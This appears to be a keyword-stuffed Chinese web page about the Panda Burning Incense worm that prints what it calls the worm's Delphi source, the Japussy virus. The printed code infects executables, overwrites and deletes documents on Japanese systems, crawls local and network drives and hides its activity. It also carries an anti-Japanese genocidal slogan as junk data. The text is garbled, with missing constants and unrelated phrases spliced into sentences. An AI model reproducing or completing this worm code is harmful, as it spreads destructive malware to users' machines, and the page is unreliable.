【set的add源码】【任务发布源码系统】【可以连载的源码】熊猫烧源码_熊猫烧烟

来源:php产品介绍类网站源码

1.熊猫烧香病毒源代码
2.熊猫烧香病毒是熊猫用什么语言写的?原理是什么?
3.熊猫烧香病毒源码
4.熊猫烧香是用什么编成的?

熊猫烧源码_熊猫烧烟

熊猫烧香病毒源代码

       揭示熊猫烧香病毒的神秘面纱:Delphi源代码解析

       **病毒核心代码片段**:

       在熊猫烧香这款臭名昭著的病毒中,其Delphi编写的烧源源代码揭示出一项狡猾的策略。以下是码熊猫烧一些关键部分的概述:

病毒体结构:病毒体大小(HeaderSize)惊人地达到了,字节,足以容纳其恶意功能。熊猫主图标(IconOffset)的烧源位置在未压缩状态下为EB8,压缩时为BC,码熊猫烧set的add源码大小(IconSize)为字节,熊猫是烧源其伪装身份的标志。

感染标志:**熊猫烧香使用独特标记$,码熊猫烧作为其感染目标的熊猫识别符。

垃圾码(Catchword):**一个包含反日言论的烧源长字符串,被用作破坏文件时的码熊猫烧乱码混淆手段。

       病毒的熊猫任务发布源码系统行动机制中,ExtractFile函数负责将病毒从宿主程序中分离,烧源FillStartupInfo则为后续邮件传播做好准备。码熊猫烧而SendMail虽未详尽,但可推测其核心作用在于通过电子邮件传播病毒。

       恶意感染过程**:InfectOneFile 函数巧妙地避开自身,选择性地感染PE文件,一旦触发,将宿主程序、感染标记和主图标无缝嵌入。编写者的精细操作可见一斑。

       源代码中,一个关键部分展示了病毒如何在感染后破坏文件,可以连载的源码SmashFile通过插入乱码来混淆和破坏目标文件。执行完毕后,程序会删除目标文件并检测可写驱动器,进一步扩大感染范围。

       最后,主程序流程开始,根据操作系统类型(Win9x或WinNT)采取不同的策略。在Win9x系统上,病毒会注册自身服务,而在WinNT系统中,它会分离病毒文件、设置启动参数并创建新进程,QQ刀网源码同时执行感染和邮件发送操作。

       熊猫烧香的源代码揭示出其复杂的策略和破坏力,提醒我们在面对此类恶意软件时,网络安全的防线必须更加坚固。每个函数和操作都反映了病毒制造者背后的精心策划,为网络安全专家提供了深入研究和防范的线索。

熊猫烧香病毒是用什么语言写的?原理是什么?

       1、熊猫烧香其实是一种蠕虫病毒的变种,而且是经过多次变种而来的,由于中毒电脑的可执行文件会出现“熊猫烧香”图案,所以也被称为“熊猫烧香”病毒。但原病毒只会对EXE图标进行替换,网站源码获取在线并不会对系统本身进行破坏。

       2、该病毒是由Delphi5语言所编写的,并且一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得。

       3、是用delphi的没错,其实严格说起来熊猫不能算是原作,他是模仿病毒japussy编写的,也是用delphi,两个病毒相似度超过%。不会,网上的源代码不完整,除非你能找到完整的代码。

       4、熊猫烧香是使用Delphi开发工具开发的。

       5、您好,熊猫烧香是用delphi编写,开发软件并没有报道。现在腾讯电脑管家能有效防止熊猫烧香的入侵,在电脑管家的保护下,您可以安全的使用您的电脑,不用担心电脑被熊猫烧香侵害。

       6、熊猫烧香还可以通过共享文件夹、用户简单密码等多种方式进行传播。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。一些网站编辑人员的电脑如果被该病毒感染,上传网页到网站后,就会导致用户浏览这些网站时也被病毒感染。

熊猫烧香病毒源码

       在文章中,描述了一种名为熊猫烧香的病毒的源码片段,该病毒是针对Windows系统的。源码中包含了病毒体的大小(HeaderSize)、PE文件主图标的偏移量(IconOffset)、主图标的大小(IconSize)以及感染标记(ID)。病毒通过查找特定字符串(Catchword)和感染PE文件来传播,如通过感染可执行文件(.EXE)和HTML/ASP文件来传播,还会尝试感染Outlook和Foxmail的地址簿文件。在感染过程中,病毒会避开检测,如通过调整消息队列和睡眠来降低CPU占用。源码还涉及了注册服务进程、创建新进程运行病毒以及检查操作系统类型(如Win9x或日文系统)等操作。在主程序部分,病毒会根据运行环境执行不同的策略,如在Win9x中注册为服务进程,或在寄生于宿主程序时启动感染和发送带毒邮件。

扩展资料

       熊猫烧香是一种经过多次变种的蠕虫病毒变种,年月日由岁的中国湖北武汉新洲区人李俊编写,年1月初肆虐网络,它主要通过下载的档案传染。对计算机程序、系统破坏严重。

熊猫烧香是用什么编成的?

       我有看到过,反正不是c++ vb 编的:

       熊猫烧香的病毒源码:

       program Japussy;

       uses

       Windows, SysUtils, Classes, Graphics, ShellAPI{ , Registry};

       const

       HeaderSize = ; //病毒体的大小

       IconOffset = EB8; //PE文件主图标的偏移量

       //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

       //查找的十六进制字符串可以找到主图标的偏移量

       {

       HeaderSize = ; //Upx压缩过病毒体的大小

       IconOffset = BC; //Upx压缩过PE文件主图标的偏移量

       //Upx 1.W 用法: upx -9 -- Japussy.exe

       }

       IconSize = E8; //PE文件主图标的大小--字节

       IconTail = IconOffset + IconSize; //PE文件主图标的尾部

       ID = ; //感染标记

       //垃圾码,以备写入

       Catchword = 'If a race need to be killed out, it must be Yamato. ' +

        'If a country need to be destroyed, it must be Japan! ' +

        '*** W.Japussy.Worm.A ***';

       { $R *.RES}

       function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

       stDCall; external 'Kernel.dll'; //函数声明

       var

       TmpFile: string;

       Si: STARTUPINFO;

       Pi: PROCESS_INFORMATION;

       IsJap: Boolean = False; //日文操作系统标记

       { 判断是否为Win9x }

       function IsWin9x: Boolean;

       var

       Ver: TOSVersionInfo;

       begin

       Result := False;

       Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

       if not GetVersionEx(Ver) then

        Exit;

       if (Ver.dwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Win9x

        Result := True;

       end;

       { 在流之间复制 }

       procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

       dStartPos: Integer; Count: Integer);

       var

       sCurPos, dCurPos: Integer;

       begin

       sCurPos := Src.Position;

       dCurPos := Dst.Position;

       Src.Seek(sStartPos, 0);

       Dst.Seek(dStartPos, 0);

       Dst.CopyFrom(Src, Count);

       Src.Seek(sCurPos, 0);

       Dst.Seek(dCurPos, 0);

       end;

       { 将宿主文件从已感染的PE文件中分离出来,以备使用 }

       procedure ExtractFile(FileName: string);

       var

       sStream, dStream: TFileStream;

       begin

       try

        sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

        try

        dStream := TFileStream.Create(FileName, fmCreate);

        try

        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

        finally

        dStream.Free;

        end;

        finally

        sStream.Free;

        end;

       except

       end;

       end;

       { 填充STARTUPINFO结构 }

       procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

       begin

       Si.cb := SizeOf(Si);

       Si.lpReserved := nil;

       Si.lpDesktop := nil;

       Si.lpTitle := nil;

       Si.dwFlags := STARTF_USESHOWWINDOW;

       Si.wShowWindow := State;

       Si.cbReserved2 := 0;

       Si.lpReserved2 := nil;

       end;

       { 发带毒邮件 }

       procedure SendMail;

       begin

       //哪位仁兄愿意完成之?

       end;

       { 感染PE文件 }

       procedure InfectOneFile(FileName: string);

       var

       HdrStream, SrcStream: TFileStream;

       IcoStream, DstStream: TMemoryStream;

       iID: LongInt;

       aIcon: TIcon;

       Infected, IsPE: Boolean;

       i: Integer;

       Buf: array[0..1] of Char;

       begin

       try //出错则文件正在被使用,退出

        if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

        Exit;

        Infected := False;

        IsPE := False;

        SrcStream := TFileStream.Create(FileName, fmOpenRead);

        try

        for i := 0 to 8 do //检查PE文件头

        begin

        SrcStream.Seek(i, soFromBeginning);

        SrcStream.Read(Buf, 2);

        if (Buf[0] = #) and (Buf[1] = #) then //PE标记

        begin

        IsPE := True; //是PE文件

        Break;

        end;

        end;

        SrcStream.Seek(-4, soFromEnd); //检查感染标记

        SrcStream.Read(iID, 4);

        if (iID = ID) or (SrcStream.Size < ) then //太小的文件不感染

        Infected := True;

        finally

        SrcStream.Free;

        end;

        if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

        Exit;

        IcoStream := TMemoryStream.Create;

        DstStream := TMemoryStream.Create;

        try

        aIcon := TIcon.Create;

        try

        //得到被感染文件的主图标(字节),存入流

        aIcon.ReleaseHandle;

        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

        aIcon.SaveToStream(IcoStream);

        finally

        aIcon.Free;

        end;

        SrcStream := TFileStream.Create(FileName, fmOpenRead);

        //头文件

        HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

        try

        //写入病毒体主图标之前的数据

        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

        //写入目前程序的主图标

        CopyStream(IcoStream, , DstStream, IconOffset, IconSize);

        //写入病毒体主图标到病毒体尾部之间的数据

        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

        //写入宿主程序

        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

        //写入已感染的标记

        DstStream.Seek(0, 2);

        iID := ;

        DstStream.Write(iID, 4);

        finally

        HdrStream.Free;

        end;

        finally

        SrcStream.Free;

        IcoStream.Free;

        DstStream.SaveToFile(FileName); //替换宿主文件

        DstStream.Free;

        end;

       except;

       end;

       end;

       { 将目标文件写入垃圾码后删除 }

       procedure SmashFile(FileName: string);

       var

       FileHandle: Integer;

       i, Size, Mass, Max, Len: Integer;

       begin

       try

        SetFileAttributes(PChar(FileName), 0); //去掉只读属性

        FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

        try

        Size := GetFileSize(FileHandle, nil); //文件大小

        i := 0;

        Randomize;

        Max := Random(); //写入垃圾码的随机次数

        if Max < 5 then

        Max := 5;

        Mass := Size div Max; //每个间隔块的大小

        Len := Length(Catchword);

        while i < Max do

        begin

        FileSeek(FileHandle, i * Mass, 0); //定位

        //写入垃圾码,将文件彻底破坏掉

        FileWrite(FileHandle, Catchword, Len);

        Inc(i);

        end;

        finally

        FileClose(FileHandle); //关闭文件

        end;

        DeleteFile(PChar(FileName)); //删除之

       except

       end;

       end;

       { 获得可写的驱动器列表 }

       function GetDrives: string;

       var

       DiskType: Word;

       D: Char;

       Str: string;

       i: Integer;

       begin

       for i := 0 to do //遍历个字母

       begin

        D := Chr(i + );

        Str := D + ':\';

        DiskType := GetDriveType(PChar(Str));

        //得到本地磁盘和网络盘

        if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

        Result := Result + D;

       end;

       end;

       { 遍历目录,感染和摧毁文件 }

       procedure LoopFiles(Path, Mask: string);

       var

       i, Count: Integer;

       Fn, Ext: string;

       SubDir: TStrings;

       SearchRec: TSearchRec;

       Msg: TMsg;

       function IsValidDir(SearchRec: TSearchRec): Integer;

       begin

        if (SearchRec.Attr <> ) and (SearchRec.Name <> '.') and

        (SearchRec.Name <> '..') then

        Result := 0 //不是目录

        else if (SearchRec.Attr = ) and (SearchRec.Name <> '.') and

        (SearchRec.Name <> '..') then

        Result := 1 //不是根目录

        else Result := 2; //是根目录

       end;

       begin

       if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

       begin

        repeat

        PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

        if IsValidDir(SearchRec) = 0 then

        begin

        Fn := Path + SearchRec.Name;

        Ext := UpperCase(ExtractFileExt(Fn));

        if (Ext = '.EXE') or (Ext = '.SCR') then

        begin

        InfectOneFile(Fn); //感染可执行文件

        end

        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

        begin

        //感染HTML和ASP文件,将Base编码后的病毒写入

        //感染浏览此网页的所有用户

        //哪位大兄弟愿意完成之?

        end

        else if Ext = '.WAB' then //Outlook地址簿文件

        begin

        //获取Outlook邮件地址

        end

        else if Ext = '.ADC' then //Foxmail地址自动完成文件

        begin

        //获取Foxmail邮件地址

        end

        else if Ext = 'IND' then //Foxmail地址簿文件

        begin

        //获取Foxmail邮件地址

        end

        else

        begin

        if IsJap then //是倭文操作系统

        begin

        if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

        (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

        (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

        (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

        (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

        (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

        SmashFile(Fn); //摧毁文件

        end;

        end;

        end;

        //感染或删除一个文件后睡眠毫秒,避免CPU占用率过高引起怀疑

        Sleep();

        until (FindNext(SearchRec) <> 0);

       end;

       FindClose(SearchRec);

       SubDir := TStringList.Create;

       if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then

       begin

        repeat

        if IsValidDir(SearchRec) = 1 then

        SubDir.Add(SearchRec.Name);

        until (FindNext(SearchRec) <> 0);

        end;

       FindClose(SearchRec);

       Count := SubDir.Count - 1;

       for i := 0 to Count do

        LoopFiles(Path + SubDir.Strings + '\', Mask);

       FreeAndNil(SubDir);

       end;

       { 遍历磁盘上所有的文件 }

       procedure InfectFiles;

       var

       DriverList: string;

       i, Len: Integer;

       begin

       if GetACP = then //日文操作系统

        IsJap := True; //去死吧!

       DriverList := GetDrives; //得到可写的磁盘列表

       Len := Length(DriverList);

       while True do //死循环

       begin

        for i := Len downto 1 do //遍历每个磁盘驱动器

        LoopFiles(DriverList + ':\', '*.*'); //感染之

        SendMail; //发带毒邮件

        Sleep( * * 5); //睡眠5分钟

       end;

       end;

       { 主程序开始 }

       begin

       if IsWin9x then //是Win9x

        RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

       else //WinNT

       begin

        //远程线程映射到Explorer进程

        //哪位兄台愿意完成之?

       end;

       //如果是原始病毒体自己

       if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then

        InfectFiles //感染和发邮件

       else //已寄生于宿主程序上了,开始工作

       begin

        TmpFile := ParamStr(0); //创建临时文件

        Delete(TmpFile, Length(TmpFile) - 4, 4);

        TmpFile := TmpFile + # + '.exe'; //真正的宿主文件,多一个空格

        ExtractFile(TmpFile); //分离之

        FillStartupInfo(Si, SW_SHOWDEFAULT);

        CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

        0, nil, '.', Si, Pi); //创建新进程运行之

        InfectFiles; //感染和发邮件

       end;

       end.

文章所属分类:综合频道,点击进入>>